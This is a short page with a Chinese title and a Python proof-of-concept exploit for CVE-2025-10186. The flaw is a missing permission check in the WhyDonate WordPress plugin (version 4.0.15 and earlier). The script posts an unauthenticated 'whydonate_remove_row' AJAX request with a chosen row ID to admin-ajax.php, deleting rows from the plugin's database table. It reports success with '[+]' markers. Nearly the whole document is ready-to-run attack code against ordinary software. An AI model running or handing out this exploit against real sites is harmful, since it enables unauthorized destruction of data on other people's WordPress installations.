CVE-2025-10186：WhyDonate WordPress插件未授权数据删除漏洞

import requests # CVE-2025-10186 PoC - WhyDonate Plugin Unauthorized Row Deletion # Target: WordPress sites with WhyDonate plugin <= 4.0.15 TARGET_URL = "http://target-wordpress-site.com" # The AJAX action endpoint registered by the plugin (wp_ajax_nopriv_*) AJAX_ENDPOINT = f"{TARGET_URL}/wp-admin/admin-ajax.php" def exploit_remove_row(row_id): """ Exploit the missing capability check in remove_row function to delete rows from wp_wdplugin_style table without authentication. """ # Step 1: Prepare the malicious request payload # The action parameter targets the vulnerable AJAX handler payload = { "action": "whydonate_remove_row", # AJAX action hook name "row_id": str(row_id) # ID of the row to delete } # Step 2: Send the unauthenticated request # No authentication headers or cookies required headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "Content-Type": "application/x-www-form-urlencoded" } try: response = requests.post( AJAX_ENDPOINT, data=payload, headers=headers, timeout=10 ) # Step 3: Check response if response.status_code == 200: print(f"[+] Row {row_id} deletion request sent successfully") print(f"[+] Response: {response.text[:200]}") return True else: print(f"[-] Unexpected status code: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False if __name__ == "__main__": # Attempt to delete row ID 1 (or any valid row ID) print("[*] CVE-2025-10186 - WhyDonate Plugin Exploit") print("[*] Attempting unauthorized row deletion...") exploit_remove_row(row_id=1)